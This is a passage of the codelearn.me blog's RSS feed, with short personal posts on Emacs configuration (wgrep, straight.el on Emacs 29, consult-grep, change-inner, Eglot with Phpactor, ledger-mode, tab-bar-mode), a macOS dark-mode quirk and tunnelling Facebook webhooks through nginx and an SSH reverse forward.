&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/emacs-wgrep-message.png">&lt;img alt="wgrep view" src="https://codelearn.me/assets/img/emacs-wgrep-message.png" width="550px"/>&lt;/a>&lt;/p>
&lt;p>Now I changed few occurrences of the &lt;code>projectile-&lt;/code> to &lt;code>project-&lt;/code> and pressed &lt;code>C-x C-s&lt;/code> and now those two files are edited without me even visiting them.&lt;/p>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/emacs-wgrep-edited.png">&lt;img alt="wgrep save" src="https://codelearn.me/assets/img/emacs-wgrep-edited.png" width="550px"/>&lt;/a>&lt;/p>
&lt;p>You can save all unsaved buffers with &lt;code>C-x s&lt;/code>&lt;/p>
&lt;p>Incredible discovery. I&amp;rsquo;m going to use it all the time now.&lt;/p>
&lt;p>I&amp;rsquo;m not sure though what kind of feature is this. It&amp;rsquo;s not a package that I had to install. It&amp;rsquo;s just there and it works.&lt;/p></description></item><item><title>Emacs 29 - Straight.el &amp; Native compilation</title><link>https://codelearn.me/2023/04/09/emacs-native-compilation-notes.html</link><pubDate>Sun, 09 Apr 2023 00:00:00 +0000</pubDate><guid>https://codelearn.me/2023/04/09/emacs-native-compilation-notes.html</guid><description>&lt;p>I just built emacs-plus@29 on my MacOS using &lt;code>--with-native-comp&lt;/code> just
to see what it is and how it works.&lt;/p>
&lt;p>I&amp;rsquo;ll talk about my impression of it later. Let&amp;rsquo;s start with the issue.&lt;/p>
&lt;p>I use straight.el + use-package and as soon as I started my
new Emacs instance I&amp;rsquo;ve got this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-emacs-lisp" data-lang="emacs-lisp">&lt;span style="display:flex;">&lt;span>Debugger entered--Lisp error: (void-variable native-comp-deferred-compilation-deny-list)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>straight--build-native-compile((:type git :host github :repo &lt;span style="color:#e6db74">&amp;#34;radian-software/straight.el&amp;#34;&lt;/span> :files (&lt;span style="color:#e6db74">&amp;#34;straight*.el&amp;#34;&lt;/span>) :branch &lt;span style="color:#e6db74">&amp;#34;master&amp;#34;&lt;/span> :package &lt;span style="color:#e6db74">&amp;#34;straight&amp;#34;&lt;/span> :local-repo &lt;span style="color:#e6db74">&amp;#34;straight.el&amp;#34;&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>straight--build-package((:type git :host github :repo &lt;span style="color:#e6db74">&amp;#34;radian-software/straight.el&amp;#34;&lt;/span> :files (&lt;span style="color:#e6db74">&amp;#34;straight*.el&amp;#34;&lt;/span>) :branch &lt;span style="color:#e6db74">&amp;#34;master&amp;#34;&lt;/span> :package &lt;span style="color:#e6db74">&amp;#34;straight&amp;#34;&lt;/span> :local-repo &lt;span style="color:#e6db74">&amp;#34;straight.el&amp;#34;&lt;/span>) &lt;span style="color:#66d9ef">nil&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#960050;background-color:#1e0010">#&lt;/span>f(compiled-function () &lt;span style="color:#960050;background-color:#1e0010">#&lt;/span>&amp;lt;bytecode 0x13b193a2e77f4e46&amp;gt;)()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>straight--transaction-exec(use-package-\&amp;#34;c809124e9c5270ea1c72e2c3507331d1\&amp;#34;-nil-nil :now &lt;span style="color:#960050;background-color:#1e0010">#&lt;/span>f(compiled-function () &lt;span style="color:#960050;background-color:#1e0010">#&lt;/span>&amp;lt;bytecode 0x13b193a2e77f4e46&amp;gt;))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>straight-use-package((straight :type git :host github :repo &lt;span style="color:#e6db74">&amp;#34;radian-software/straight.el&amp;#34;&lt;/span> :files (&lt;span style="color:#e6db74">&amp;#34;straight*.el&amp;#34;&lt;/span>) :branch &lt;span style="color:#e6db74">&amp;#34;master&amp;#34;&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>load-with-code-conversion(&lt;span style="color:#e6db74">&amp;#34;/Users/krydos/.emacs.d/straight/repos/straight.el/...&amp;#34;&lt;/span> &lt;span style="color:#e6db74">&amp;#34;/Users/krydos/.emacs.d/straight/repos/straight.el/...&amp;#34;&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> &lt;span style="color:#66d9ef">t&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">load&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;/Users/krydos/.emacs.d/straight/repos/straight.el/...&amp;#34;&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> nomessage)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>(let ((bootstrap-file (&lt;span style="color:#a6e22e">expand-file-name&lt;/span> &lt;span style="color:#e6db74">&amp;#34;straight/repos/straight.el/bootstrap.el&amp;#34;&lt;/span> user-emacs-directory)) (bootstrap-version &lt;span style="color:#ae81ff">6&lt;/span>)) (if (&lt;span style="color:#a6e22e">file-exists-p&lt;/span> bootstrap-file) &lt;span style="color:#66d9ef">nil&lt;/span> (save-current-buffer (&lt;span style="color:#a6e22e">set-buffer&lt;/span> (url-retrieve-synchronously &lt;span style="color:#e6db74">&amp;#34;https://raw.githubusercontent.com/radian-software/...&amp;#34;&lt;/span> &lt;span style="color:#e6db74">&amp;#39;silent&lt;/span> &lt;span style="color:#e6db74">&amp;#39;inhibit-cookies&lt;/span>)) (&lt;span style="color:#a6e22e">goto-char&lt;/span> (&lt;span style="color:#a6e22e">point-max&lt;/span>)) (eval-print-last-sexp))) (&lt;span style="color:#a6e22e">load&lt;/span> bootstrap-file &lt;span style="color:#66d9ef">nil&lt;/span> &lt;span style="color:#e6db74">&amp;#39;nomessage&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>load-with-code-conversion(&lt;span style="color:#e6db74">&amp;#34;/Users/krydos/.emacs.d/init.el&amp;#34;&lt;/span> &lt;span style="color:#e6db74">&amp;#34;/Users/krydos/.emacs.d/init.el&amp;#34;&lt;/span> &lt;span style="color:#66d9ef">t&lt;/span> &lt;span style="color:#66d9ef">t&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">load&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;/Users/krydos/.emacs.d/init&amp;#34;&lt;/span> noerror nomessage)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>startup--load-user-init-file(&lt;span style="color:#960050;background-color:#1e0010">#&lt;/span>f(compiled-function () &lt;span style="color:#960050;background-color:#1e0010">#&lt;/span>&amp;lt;bytecode 0x155c027c85bc7d&amp;gt;) &lt;span style="color:#960050;background-color:#1e0010">#&lt;/span>f(compiled-function () &lt;span style="color:#960050;background-color:#1e0010">#&lt;/span>&amp;lt;bytecode -0x1f3c61addc0da035&amp;gt;) &lt;span style="color:#66d9ef">t&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>command-line()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>normal-top-level()
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It looks like for some reason straight.el expects &lt;code>native-comp-deferred-compilation-deny-list&lt;/code> variable available in Emacs while
this variable was renamed to &lt;code>native-comp-jit-compilation-deny-list&lt;/code>.&lt;/p>
&lt;p>Straight.el&amp;rsquo;s &lt;code>master&lt;/code> branch doesn&amp;rsquo;t know about the rename but the &lt;code>develop&lt;/code> branch does.
So to switch straight.el to newer branch we can define &lt;code>straight-repository-branch&lt;/code> somewhere on the top of our init.el like so:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-emacs-lisp" data-lang="emacs-lisp">&lt;span style="display:flex;">&lt;span>(setq straight-repository-branch &lt;span style="color:#e6db74">&amp;#34;develop&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I also removed my &lt;code>~/.emacs.d/straight&lt;/code> directory to make sure every other package will be pulled from scratch
and there are no conflicts between my current version of Emacs and the older one (28).&lt;/p>
&lt;h2 id="native-compilation-impression">Native compilation impression&lt;/h2>
&lt;p>I&amp;rsquo;m not sure about it. Since I use my own config and I don&amp;rsquo;t include that many packages everything was quite quick
even without the &lt;code>--with-native-comp&lt;/code>.
With native compilation I don&amp;rsquo;t see the difference, maybe I&amp;rsquo;ll notice it later.&lt;/p>
&lt;p>What I noticed is that when I first started my Emacs 29 the compilation process was running on the background (without indication) and
the whole UI was sluggish. Switching buffers was slow, reaction to my keystrokes was delayed, etc.
But in few minutes, I believe when everything was compiled, everything started to work as usual, no delays, no issues.&lt;/p></description></item><item><title>Search for hash(#) sign using Emacs' consult-grep</title><link>https://codelearn.me/2023/04/03/emacs-consult-hash-sign.html</link><pubDate>Mon, 03 Apr 2023 00:00:00 +0000</pubDate><guid>https://codelearn.me/2023/04/03/emacs-consult-hash-sign.html</guid><description>&lt;p>This is something I came across recently.
I wanted to search for &lt;code>#todo&lt;/code> using &lt;code>M-x consult-grep&lt;/code>.&lt;/p>
&lt;p>My initial &lt;code>#todo&lt;/code> query didn&amp;rsquo;t work obviously because &lt;code>#&lt;/code> sign in consult
is a &lt;em>punctuation character&lt;/em> as they call it.&lt;/p>
&lt;p>I didn&amp;rsquo;t really want to change &lt;code>#&lt;/code> sign as a punctuation character because I used to it.
I&amp;rsquo;m not also sure if there is such an option (read til the end to find out why)&lt;/p>
&lt;p>After some time spent googling
I couldn&amp;rsquo;t find how to do escape it.
Obvious things like &lt;code>#\#todo&lt;/code> didn&amp;rsquo;t work.&lt;/p>
&lt;p>Then I found this example in &lt;a href="https://github.com/minad/consult#asynchronous-search">consult readme&lt;/a>:&lt;/p>
&lt;ul>
&lt;li>&lt;code>/defun/consult&lt;/code>: It is also possible to use other punctuation characters.&lt;/li>
&lt;/ul>
&lt;p>This is not somewhere on the top of the readme. It&amp;rsquo;s under &lt;em>Asynchronous Search&lt;/em> section which
I ignored while I was looking for my use case.&lt;/p>
&lt;p>So it seems like any NON [A-Za-z0-9] character can be a punctuation character.
Though I&amp;rsquo;m not sure about it.&lt;/p>
&lt;p>In any case &lt;code>/#todo&lt;/code> worked nicely but it was unnecessary hard to find the proper syntax for it.&lt;/p></description></item><item><title>Emacs. Change inner/outer like in Vim</title><link>https://codelearn.me/2023/01/17/emacs-change-inner.html</link><pubDate>Tue, 17 Jan 2023 00:00:00 +0000</pubDate><guid>https://codelearn.me/2023/01/17/emacs-change-inner.html</guid><description>&lt;p>If you&amp;rsquo;re a former Vim user there is one feature I couldn&amp;rsquo;t find in any other editors.&lt;/p>
&lt;p>Not sure what is the proper name of it but let&amp;rsquo;s call it &lt;strong>change inside something&lt;/strong>.&lt;/p>
&lt;p>Example (&lt;code>|&lt;/code> - is a cursor):&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">function&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#e6db74">&amp;#39;hello |world&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If I press &lt;code>ci'&lt;/code> the result is going to be:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">function&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#e6db74">&amp;#39;|&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>or &lt;code>ci{&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">function&lt;/span>() {&lt;span style="color:#f92672">|&lt;/span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That&amp;rsquo;s incredibly useful feature because I don&amp;rsquo;t really need to think where my cursor is.
I just place it somewhere around the place I need to remove and press that magical keybinding.&lt;/p>
&lt;p>There is no such built-in function in Emacs. And this one is probably the only feature I miss the most.&lt;/p>
&lt;p>For some time I&amp;rsquo;ve been using &lt;a href="https://github.com/magnars/expand-region.el">expand-region&lt;/a> by &lt;strong>Magnar Sveen&lt;/strong>
which is a different thing really. It just expands a selection by some logical semantic blocks and can be used
as a replacement to that &lt;code>ci'&lt;/code>.
But still I need to think how many times I should call that &lt;code>expand-region&lt;/code> function before the thing I need is selected.&lt;/p>
&lt;p>So today I discovered &lt;a href="https://github.com/magnars/change-inner.el">change-inner.el&lt;/a> by already mentioned &lt;strong>Magnar Sveen&lt;/strong>.
It uses &lt;strong>expand-region&lt;/strong> internally and does exactly what &lt;code>ci&amp;lt;symbol&amp;gt;&lt;/code> does.&lt;/p>
&lt;p>Bindings suggested in the package readme, &lt;code>M-i&lt;/code> / &lt;code>M-o&lt;/code>, are pretty easy to used to.&lt;/p>
&lt;p>So if you ever missed that &lt;strong>change inner/outer&lt;/strong> Vim feature give this lib a shot.&lt;/p></description></item><item><title>Facebook webhooks won't accept Ngrok and Localtunnel anymore</title><link>https://codelearn.me/2022/11/28/facebook-webhooks.html</link><pubDate>Mon, 28 Nov 2022 00:00:00 +0000</pubDate><guid>https://codelearn.me/2022/11/28/facebook-webhooks.html</guid><description>&lt;p>If you want to test webhooks locally you probably use Ngrok or Localtunnel. I do.&lt;/p>
&lt;p>Recently I wanted to play with Instagram webhooks and I couldn&amp;rsquo;t because surprisingly
Facebook do not accept Ngrok and Localtunnel URLs anymore and marks them as
&lt;code>malicious and/or abusive&lt;/code>.&lt;/p>
&lt;p>I don&amp;rsquo;t really understand why Facebook blocked the only known solutions of local webhooks testing.&lt;/p>
&lt;p>Fortunately I have a server and a domain name.&lt;/p>
&lt;h2 id="solution">Solution&lt;/h2>
&lt;p>What we&amp;rsquo;ll need:&lt;/p>
&lt;ul>
&lt;li>Nginx&lt;/li>
&lt;li>LetsEncrypt cert (because Facebook wants HTTPS URL)&lt;/li>
&lt;/ul>
&lt;p>As soon as you configured your Nginx and it can accept traffic on port 443
add &lt;code>location&lt;/code> section like this (&lt;strong>pay attention to all the slashes. They are important&lt;/strong>):&lt;/p>
&lt;pre tabindex="0">&lt;code>location /proxy/ {
 proxy_pass http://localhost:3000/;
}
&lt;/code>&lt;/pre>&lt;p>This will grab all the traffic to &lt;code>you-domain/proxy/&lt;/code>, decrypt it and proxy it to port 3000.&lt;/p>
&lt;p>Now, on you local machine, run:&lt;/p>
&lt;pre tabindex="0">&lt;code>ssh -R 3000:0.0.0.0:3000 -N user@server
&lt;/code>&lt;/pre>&lt;p>Change ports as needed. The very first &lt;code>3000&lt;/code> is remote port to redirect traffic from.
The &lt;code>0.0.0.0:3000&lt;/code> part is your local server listening on port &lt;code>3000&lt;/code> as well.&lt;/p>
&lt;p>You local server will get URLs without that &lt;code>/proxy&lt;/code> part.
So &lt;code>your-domain/proxy/webhooks&lt;/code> will be transformed to &lt;code>0.0.0.0:3000/webhooks&lt;/code>&lt;/p>
&lt;p>Now the traffic goes like this:&lt;/p>
&lt;p>&lt;code>Origin(https) -&amp;gt; your-domain(https) -&amp;gt; your-server:3000(http) -&amp;gt; your-local-machine:3000(http)&lt;/code>&lt;/p></description></item><item><title>MacOS Appearance Auto - theme isn't changing</title><link>https://codelearn.me/2022/10/28/macos-auto-theme.html</link><pubDate>Fri, 28 Oct 2022 00:00:00 +0000</pubDate><guid>https://codelearn.me/2022/10/28/macos-auto-theme.html</guid><description>&lt;p>I recently started to appreciate light theme again. Feels great during a day light.&lt;br/>
Still, I like the dark mode too but now I just want to see it at night.&lt;/p>
&lt;p>And fortunately, for those who likes both themes, there is a mode called &amp;ldquo;Auto&amp;rdquo; in the MacOS settings.&lt;/p>
&lt;p>&lt;a href="https://codelearn.me/assets/img/macos-auto-theme.png" target="_blank">&lt;img width="100%" src="https://codelearn.me/assets/img/macos-auto-theme.png" />&lt;/a>&lt;/p>
&lt;p>Hooray! Problem solved.&lt;/p>
&lt;h2 id="not-really">Not really&lt;/h2>
&lt;p>In case you haven&amp;rsquo;t configured &lt;strong>Night Shift&lt;/strong> feature then it&amp;rsquo;s not going to work.&lt;/p>
&lt;p>Also, if you like me, and configured Night Shift to start &amp;ldquo;night&amp;rdquo; at 12AM then it means that the dark mode will be enabled at 12AM.&lt;/p>
&lt;p>&lt;strong>Auto mode requires Night Shift feature. Make sure it&amp;rsquo;s configured.&lt;/strong>&lt;/p>
&lt;h2 id="fun-solution-from-the-internet">Fun solution from the internet&lt;/h2>
&lt;p>If you try to google this issue you&amp;rsquo;ll notice some reasonable points like:&lt;/p>
&lt;blockquote>
&lt;p>You wouldn’t like to see the screen colors suddenly change when you are in the middle of work, would you? It would be confusing and irritating, and you would most probably disable auto Dark Mode once and for good
&lt;br>&lt;small>Source: &lt;a href="https://geekupdated.com/automatic-dark-mode-issue-mac-os/">geekupdated.com&lt;/a>&lt;/small>&lt;/p>&lt;/blockquote>
&lt;p>And solution is:&lt;/p>
&lt;blockquote>
&lt;p>All you have to remember is that the color theme is being switched when you put the display to sleep, even for a short period of time.&lt;br>&lt;br>If you want to apply the Dark Mode immediately, simply close the lid of your Mac and open it again.
&lt;br>&lt;small>Source: &lt;a href="https://geekupdated.com/automatic-dark-mode-issue-mac-os/">geekupdated.com&lt;/a>&lt;/small>&lt;/p>&lt;/blockquote>
&lt;p>This solution is &amp;ldquo;obviously&amp;rdquo; not that &lt;strong>irritating&lt;/strong> as sudden color scheme change.&lt;/p></description></item><item><title>Eglot &amp; PHP &amp; Phpactor</title><link>https://codelearn.me/2022/10/24/eglot_php.html</link><pubDate>Mon, 24 Oct 2022 00:00:00 +0000</pubDate><guid>https://codelearn.me/2022/10/24/eglot_php.html</guid><description>&lt;p>Trying out &lt;strong>eglot&lt;/strong> at the moment on a php project I have and unfortunately it doesn&amp;rsquo;t work out of the box.&lt;/p>
&lt;p>The issue is that my PHP project is based on PHP8 and &lt;a href="https://github.com/zobo/php-language-server">php-language-server&lt;/a> is pretty old server
that doesn&amp;rsquo;t support new php versions.&lt;/p>
&lt;p>There are bunch of other LSPs for PHP and I would like to play with Phpactor which I never used before.&lt;/p>
&lt;p>Fortunately &lt;strong>eglot&lt;/strong> supports any LSP server and Phpactor has one too.&lt;/p>
&lt;p>To make it work just add this to your init.el:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-emacs-lisp" data-lang="emacs-lisp">&lt;span style="display:flex;">&lt;span>(add-to-list &lt;span style="color:#e6db74">&amp;#39;eglot-server-programs&lt;/span> &lt;span style="color:#f92672">&amp;#39;&lt;/span>((php-mode phps-mode) &lt;span style="color:#e6db74">&amp;#34;phpactor&amp;#34;&lt;/span> &lt;span style="color:#e6db74">&amp;#34;language-server&amp;#34;&lt;/span>))
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Make sure phpactor is in your $PATH, otherwise just specify the full path.&lt;/p>
&lt;p>Now you can just &lt;code>M-x eglot&lt;/code> in any php file and it should magically start working.&lt;/p></description></item><item><title>Emacs ledger-mode with hledger</title><link>https://codelearn.me/2022/10/13/ledger-mode.html</link><pubDate>Thu, 13 Oct 2022 00:00:00 +0000</pubDate><guid>https://codelearn.me/2022/10/13/ledger-mode.html</guid><description>&lt;p>&lt;a href="https://hledger.org/">Hledger&lt;/a> is a text based accounting tool.
It&amp;rsquo;s very similar to &lt;a href="https://www.ledger-cli.org/">Ledger&lt;/a> (hence the name).&lt;/p>
&lt;p>Emacs has great &lt;code>ledger-mode&lt;/code> but if you use Hledger you&amp;rsquo;ll definitely get some issues.&lt;/p>
&lt;h2 id="tldr">TLDR&lt;/h2>
&lt;p>here is my &lt;code>use-package&lt;/code> block where most of the issues are solved&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-lisp" data-lang="lisp">&lt;span style="display:flex;">&lt;span>(&lt;span style="color:#a6e22e">use-package&lt;/span> ledger-mode
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">:straight&lt;/span> &lt;span style="color:#66d9ef">t&lt;/span> &lt;span style="color:#75715e">;; or :ensure t&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">:init&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (add-to-list &lt;span style="color:#e6db74">&amp;#39;auto-mode-alist&lt;/span> &lt;span style="color:#f92672">&amp;#39;&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;\\.\\(h?ledger\\|journal\\|j\\)$&amp;#34;&lt;/span> &lt;span style="color:#f92672">.&lt;/span> ledger-mode))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (&lt;span style="color:#66d9ef">setq&lt;/span> ledger-binary-path &lt;span style="color:#e6db74">&amp;#34;path-to-fix-hledger-script.see-below&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (&lt;span style="color:#66d9ef">setq&lt;/span> ledger-mode-should-check-version &lt;span style="color:#66d9ef">nil&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (&lt;span style="color:#66d9ef">setq&lt;/span> ledger-report-links-in-register &lt;span style="color:#66d9ef">nil&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (&lt;span style="color:#66d9ef">setq&lt;/span> ledger-report-auto-width &lt;span style="color:#66d9ef">nil&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (&lt;span style="color:#66d9ef">setq&lt;/span> ledger-report-native-highlighting-arguments &lt;span style="color:#f92672">&amp;#39;&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;--color=always&amp;#34;&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (&lt;span style="color:#66d9ef">setq&lt;/span> ledger-highlight-xact-under-point &lt;span style="color:#66d9ef">nil&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (&lt;span style="color:#66d9ef">setq&lt;/span> ledger-default-date-format ledger-iso-date-format))
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="add-new-transactions-issue-xact">Add new transactions issue. xact.&lt;/h2>
&lt;p>There an error appears when you try to add a new transaction that says &lt;code>xact&lt;/code> isn&amp;rsquo;t available.
&lt;code>xact&lt;/code> is a tool that comes with ledger but it doesn&amp;rsquo;t exists in hledger package.&lt;/p>
&lt;p>The tool is basically trying to match records based on the query passed into it and then return the matched record. Kind of minimal autocompletion.&lt;/p>
&lt;p>&lt;code>hledger&lt;/code> has &lt;code>--match&lt;/code> option instead and to make it work I suggest to refer to &lt;a href="https://github.com/simonmichael/hledger/issues/367#issuecomment-956436493">this script&lt;/a> provided by Anthony Carrico.&lt;/p>
&lt;p>Make it executable, put in whatever place you want and update &lt;code>ledger-binary-path&lt;/code> variable in your Emacs config.&lt;/p>
&lt;p>That should make everything work.&lt;/p></description></item><item><title>Vim Tabs in Emacs</title><link>https://codelearn.me/2022/09/17/vim-emacs-tabs.html</link><pubDate>Sat, 17 Sep 2022 00:00:00 +0000</pubDate><guid>https://codelearn.me/2022/09/17/vim-emacs-tabs.html</guid><description>&lt;p>Immediately few things to mention.&lt;/p>
&lt;p>First: we&amp;rsquo;re going to talk about Tabs as in &amp;ldquo;UI element&amp;rdquo;. Not indentation.
&lt;br/>
Second: Tabs in Vim and Emacs are not supposed to be used as tabs in many other editors.&lt;/p>
&lt;h2 id="vim-tabs">Vim Tabs&lt;/h2>
&lt;p>Vim tabs aren&amp;rsquo;t supposed to be tabs similar to other editors where you have a file per tab and then switch those tabs with your mouse (???!). There are buffers for that.&lt;/p>
&lt;p>Vim tabs were designed to hold &amp;ldquo;workspaces&amp;rdquo; or logical group of files/buffers/splits, quickfix windows or other &amp;ldquo;vim ui&amp;rdquo; elements.&lt;/p>
&lt;p>For instance you may be working on a project issue and you have your tests in one split and actual code in another. Maybe some docs in 3d one.&lt;/p>
&lt;p>Now somebody in your company chat asks for a help and you as a nice person want to take a look.
&lt;br/>
You do &lt;code>:tabnew&lt;/code> and new fresh &amp;ldquo;workspace&amp;rdquo; is opened. You then go to a file your colleague was asking for, view it, open one more split for tests or docs, vimgrep for stuff and it&amp;rsquo;s all happening in new fresh &amp;ldquo;workspace&amp;rdquo;. When you&amp;rsquo;re done you just do &lt;code>:tabclose&lt;/code> and you&amp;rsquo;re back to you first main workspace with your 3 splits where everything is untouched &lt;strong>which smooths context switching a lot&lt;/strong>.&lt;/p>
&lt;h2 id="emacs-tabs">Emacs Tabs&lt;/h2>
&lt;p>Switching to any editor from Vim I always felt missing Vim-like tabs functionality and I felt the same in Emacs too.
Fortunately starting with Emacs27 we have few tab modes built-in and one of them is &lt;code>tab-bar-mode&lt;/code> (default prefix &lt;code>C-x t&lt;/code>)&lt;/p>
&lt;p>Turns out I can use &lt;code>tab-bar-mode&lt;/code> pretty similarly to vim tabs.&lt;/p>
&lt;p>The only difference is in Vim when all but one tab is closed the tab-bar gets hidden. Emacs tab-bar dosn&amp;rsquo;t do it.&lt;/p>
&lt;p>But fortunately it&amp;rsquo;s Emacs so add this advice to your &lt;code>init.el&lt;/code> and now tab-bar gets hidden when there is only one tab left.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-elisp" data-lang="elisp">&lt;span style="display:flex;">&lt;span>(advice-add &lt;span style="color:#e6db74">&amp;#39;tab-bar-close-tab&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> :after
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (lambda (&lt;span style="color:#66d9ef">&amp;amp;rest&lt;/span> r) (if (&lt;span style="color:#a6e22e">=&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span> (&lt;span style="color:#a6e22e">length&lt;/span> (tab-bar-tabs)))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (tab-bar-mode &lt;span style="color:#ae81ff">-1&lt;/span>)))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#39;&lt;/span>((name &lt;span style="color:#f92672">.&lt;/span> &lt;span style="color:#e6db74">&amp;#34;hide-tabbar-if-one-tab&amp;#34;&lt;/span>)))
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>In case you don&amp;rsquo;t like how Emacs tabs look or behave you can try &lt;a href="https://depp.brause.cc/eyebrowse/">https://depp.brause.cc/eyebrowse/&lt;/a> package that sounds the same to me but its &amp;ldquo;tabs&amp;rdquo; are shown in the modeline.&lt;/p>
&lt;p>Its styles probably can be customized but with my theme and modeline there is no way to understand what &amp;ldquo;workspace&amp;rdquo; is currently active.
&lt;br/>
On the other hand tab-bar is also looking pretty bad (which is also customizable).&lt;/p></description></item><item><title>Ditching Doom</title><link>https://codelearn.me/2022/06/04/emacs-config-from-scratch.html</link><pubDate>Sat, 04 Jun 2022 16:00:00 +0000</pubDate><guid>https://codelearn.me/2022/06/04/emacs-config-from-scratch.html</guid><description>&lt;p>In my previous post I&amp;rsquo;ve been talking about Doom config and that it is great and all but
I find it really difficult to fix issues there.
Doom has a lot of its own configuration, hooks here and there and functions that modifies standard behavior.&lt;/p>
&lt;p>It&amp;rsquo;s probably much easier to go with my own config. I never could stick to spacemacs or doom. I couldn&amp;rsquo;t stick to similar configs in Vim too.
Probably issue on my end :)&lt;/p>
&lt;p>Also Doom&amp;rsquo;s evil mode feels so verbose. It definitely feels more verbose than Vim itself. It feels like I have to press
much more keys to tell emacs to do something.&lt;/p>
&lt;p>At the moment I&amp;rsquo;m on my own config WITHOUT evil-mode and interesting to note, my muscle memory switched to Emacs-mode in ~30 minutes.
I didn&amp;rsquo;t expect that. For most of the actions there is no a &amp;ldquo;thinking process&amp;rdquo;. They just happen.
Last time I used Emacs was couple of years ago and I&amp;rsquo;m surprised it&amp;rsquo;s keybindings went that deep in my muscle memory.&lt;/p>
&lt;p>Maybe, which is strange for me to admit, the keybinding design in Emacs is a feature&amp;hellip;&lt;/p>
&lt;p>Anyway here is some highlight of my config:&lt;/p>
&lt;ul>
&lt;li>UI is standard-minimal. No toolbar, no scroll-bar, no bells. Automatically start maximized&lt;/li>
